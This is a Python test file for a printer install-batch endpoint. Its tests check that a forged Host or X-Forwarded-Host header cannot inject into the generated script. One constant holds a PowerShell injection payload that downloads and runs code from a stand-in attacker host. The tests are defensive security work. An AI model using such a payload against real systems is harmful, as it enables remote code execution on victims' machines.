|
# A quote in the host would end the literal. These pin the three rules that stop
|
||||||
|
# it: validate the Host, only believe X-Forwarded-Host behind a declared proxy,
|
||||||
|
# and emit a relative base rather than a host we cannot vouch for.
|
||||||
|
|
||||||
|
INJECT = "evil';iex(iwr http://attacker/x);'"
|
||||||
|
|
||||||
|
|
||||||
|
def test_install_batch_refuses_a_host_that_is_not_a_hostname(
|
||||||
|
client, db, auth_headers, printer_assettype):
|
||||||
|
hp = _vendor(db, 'HP')
|
||||||
|
pid = _make_printer(client, auth_headers, assetnumber='CSF04-WJRP2035-HP',
|
||||||
|
hostname='wjprn01', vendorid=hp.vendorid)
|
||||||
|
resp = client.get('/api/printers/install-batch?printerids=%d' % pid,
|
||||||
|
headers={**auth_headers, 'Host': INJECT})
|
||||||
|
assert resp.status_code == 200
|
||||||
|
bat = resp.get_data(as_text=True)
|
||||||
|
assert 'iex' not in bat
|
||||||
|
assert 'attacker' not in bat
|
||||||
|
# No host survived, so the download URL is relative rather than poisoned.
|
||||||
|
assert "-Uri '/installers/PrinterInstaller.exe'" in bat
|
||||||
|
|
||||||
|
|
||||||
|
def test_install_batch_ignores_forwarded_host_with_no_declared_proxy(
|
||||||
|
client, db, auth_headers, printer_assettype):
|
||||||
|
"""TRUSTED_PROXY_COUNT defaults to 0, so the header is caller-supplied and
|
||||||
|
must not be believed - the same rule clientip.py applies to
|
||||||
|
X-Forwarded-For."""
|
||||||
|
hp = _vendor(db, 'HP')
|
||||||
|
pid = _make_printer(client, auth_headers, assetnumber='CSF04-WJRP2035-HP',
|
||||||
|
hostname='wjprn01', vendorid=hp.vendorid)
|
||||||
|
resp = client.get('/api/printers/install-batch?printerids=%d' % pid,
|
||||||
|
headers={**auth_headers,
|
||||||
|
'X-Forwarded-Host': 'attacker.example'})
|
||||||
|
assert resp.status_code == 200
|
||||||
|
bat = resp.get_data(as_text=True)
|
||||||
|
assert 'attacker.example' not in bat
|
||||||
|
|
||||||
|
|
||||||
|
def test_install_batch_uses_a_real_forwarded_host_behind_a_declared_proxy(
|
||||||
|
client, db, auth_headers, printer_assettype, app):
|
||||||
|
hp = _vendor(db, 'HP')
|
||||||
|
pid = _make_printer(client, auth_headers, assetnumber='CSF04-WJRP2035-HP',
|
||||||
|
hostname='wjprn01', vendorid=hp.vendorid)
|
||||||
|
app.config['TRUSTED_PROXY_COUNT'] = 1
|
||||||
|
try:
|
||||||
|
resp = client.get('/api/printers/install-batch?printerids=%d' % pid,
|
||||||
|
headers={**auth_headers,
|
||||||
|
'X-Forwarded-Host': 'shopdb.example.net'})
|
||||||
|
bat = resp.get_data(as_text=True)
|
||||||
|
assert 'https://shopdb.example.net/installers/' in bat
|
||||||
|
finally:
|
||||||
|
app.config['TRUSTED_PROXY_COUNT'] = 0
|
||||||
|
|||||||
Reference in New Issue
Block a user